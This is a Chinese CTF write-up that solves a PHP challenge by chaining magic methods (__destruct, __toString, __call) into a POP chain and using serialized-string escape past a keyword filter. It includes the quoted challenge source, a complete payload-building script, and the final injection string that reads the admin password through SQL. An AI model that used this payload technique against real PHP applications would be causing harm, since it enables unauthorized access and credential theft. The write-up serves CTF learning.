考点:php序列化pop链 序列化字符串逃逸
打开题目按照管理先扫描目录
使用dirsearch 扫描出来了 flag.php login.php
使用御剑什么都没有扫出来
使用dirbuster什么都没有
这个貌似是BUU平台问题……
打开题目
发现登录框,尝试弱口令登录,并且爆破用户名与密码,查看图片
失败
查看大佬的wp,存在www.zip(没扫出来…………)
查看www.zip,解压后查看代码
关键代码
//update.php
$users=new User(); //创建类
$users->update(); // 调用user类的update函数
if($_SESSION['login']===1){
require_once("flag.php");
echo $flag;
}
// user类的update函数
public function update(){
//调用了getNewinfo函数
$Info=unserialize($this->getNewinfo());
$age=$Info->age;
$nickname=$Info->nickname;
//定义了一个UpdateHelper类
$updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']);
//这个功能还没有写完 先占坑
}
// 输入点 age 与 nickname 参数可控
public function getNewInfo(){
$age=$_POST['age'];
$nickname=$_POST['nickname'];
//创建了一个Info类并且序列化使用safe过滤
return safe(serialize(new Info($age,$nickname)));
}
function safe($parm){
$array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
return str_replace($array,'hacker',$parm);
} // 字符串替换
// Info 类
class Info{
public $age;
public $nickname;
public $CtrlCase;
public function __construct($age,$nickname){
$this->age=$age;
$this->nickname=$nickname;
}
// 在对象上下文中调用不可访问的方法时触发
// __call 中的参数,$name 需要调用的方法的名称,$arguments是一个数组,其中包含传递给方法$name的参数
public function __call($name,$argument){
echo $this->CtrlCase->login($argument[0]);
//此处$argument[0]就为age
}
}
这里如何触发__call()函数
// user类
// 把类当成字符串使用时触发,返回值需要为字符串
public function __toString()
{
$this->nickname->update($this->age);
return "0-0";
}
// 这里user类中调用了Info类中不存在的update函数,因此这里会自动调用__call()函数
class dbCtrl
{
public $hostname="127.0.0.1";
public $dbuser="root";
public $dbpass="root";
public $database="test";
public $name;
public $password;
public $mysqli;
public $token;
public function __construct()
{
$this->name=$_POST['username'];
$this->password=$_POST['password'];
$this->token=$_SESSION['token'];
}
public function login($sql)
{
$this->mysqli=new mysqli($this->hostname, $this->dbuser, $this->dbpass, $this->database);
if ($this->mysqli->connect_error) {
die("连接失败,错误:" . $this->mysqli->connect_error);
}
$result=$this->mysqli->prepare($sql);
$result->bind_param('s', $this->name);
$result->execute();
$result->bind_result($idResult, $passwordResult);
$result->fetch();
$result->close();
if ($this->token=='admin') {
return $idResult;
}
if (!$idResult) {
echo('用户不存在!');
return false;
}
if (md5($this->password)!==$passwordResult) {
echo('密码错误!');
return false;
}
$_SESSION['token']=$this->name;
return $idResult;
}
public function update($sql)
{
//还没来得及写
}
}
Class UpdateHelper{
public $id;
public $newinfo;
public $sql;
public function __construct($newInfo,$sql){
$newInfo=unserialize($newInfo);
$upDate=new dbCtrl();
}
public function __destruct()
{
echo $this->sql;
}
}
//这里如果sql为类的话就会调用user的__string()函数
pop 链思路 :利用 UpdateHelper类的destruct函数触发User类的tostring函数再触发Info类的__call()函数
把 $this->CtrlCase实例化dbctrl 对象,再调用dbctrl类的login函数,通过查询语句把admin账户的密码查出来
//payload
<?php
class User
{
public $id;
public $age = null;
public $nickname = null;
}
class Info
{
public $age;
public $nickname;
public $CtrlCase;
public function __construct($age,$nickname)
{
$this->age = $age;
$this->nickname = $nickname;
}
}
class UpdateHelper
{
public $id;
public $newinfo;
public $sql;
public function __construct($newInfo,$sql)
{
$newInfo = unserialize($newInfo);
$upDate = new dbCtrl();
}
}
class dbCtrl
{
public $hostname="127.0.0.1";
public $dbuser="root";
public $dbpass="root";
public $database="test";
public $name = "admin";
public $password;
public $mysqli;
public $token = "admin";
}
$db = new dbCtrl();
$user = new User();
$info = new Info("lcdm123","lcdm123");
$updatehelper = new UpdateHelper("lcdm123","lcdm123");
$info->CtrlCase = $db;
$user->nickname = $info;
$user->age = "select password,id from user where username=?";
$updatehelper->sql = $user;
$realinfo = new Info("lcdm123","lcdm123");
$realinfo->CtrlCase = $updatehelper;
echo serialize($realinfo);
//O:4:"Info":3:{s:3:"age";s:7:"lcdm123";s:8:"nickname";s:7:"lcdm123";s:8:"CtrlCase";O:12:"UpdateHelper":3:{s:2:"id";N;s:7:"newinfo";N;s:3:"sql";O:4:"User":3:{s:2:"id";N;s:3:"age";s:45:"select password,id from user where username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";s:7:"lcdm123";s:8:"nickname";s:7:"lcdm123";s:8:"CtrlCase";O:6:"dbCtrl":8:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:4:"root";s:6:"dbpass";s:4:"root";s:8:"database";s:4:"test";s:4:"name";s:5:"admin";s:8:"password";N;s:6:"mysqli";N;s:5:"token";s:5:"admin";}}}}}
最终payload
这样构造的原因:将之前的序列化字符串删除info的部分(因为传入参数时会自动构造info),添加(”;s:8:”CtrlCase”;)的原因是因为传入参数的时候没有CtrlCase参数,需要自己提前构造好利用php反序列化字符串逃逸的方法传入
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''unionunion";s:8:"CtrlCase";O:12:"UpdateHelper":3:{s:2:"id";N;s:7:"newinfo";N;s:3:"sql";O:4:"User":3:{s:2:"id";N;s:3:"age";s:45:"select password,id from user where username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";s:7:"lcdm123";s:8:"nickname";s:7:"lcdm123";s:8:"CtrlCase";O:6:"dbCtrl":8:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:4:"root";s:6:"dbpass";s:4:"root";s:8:"database";s:4:"test";s:4:"name";s:5:"admin";s:8:"password";N;s:6:"mysqli";N;s:5:"token";s:5:"admin";}}}}}
传入payload,获取到密码的payload(需要手动删除后面的0-0)
获得密码
登录获取flag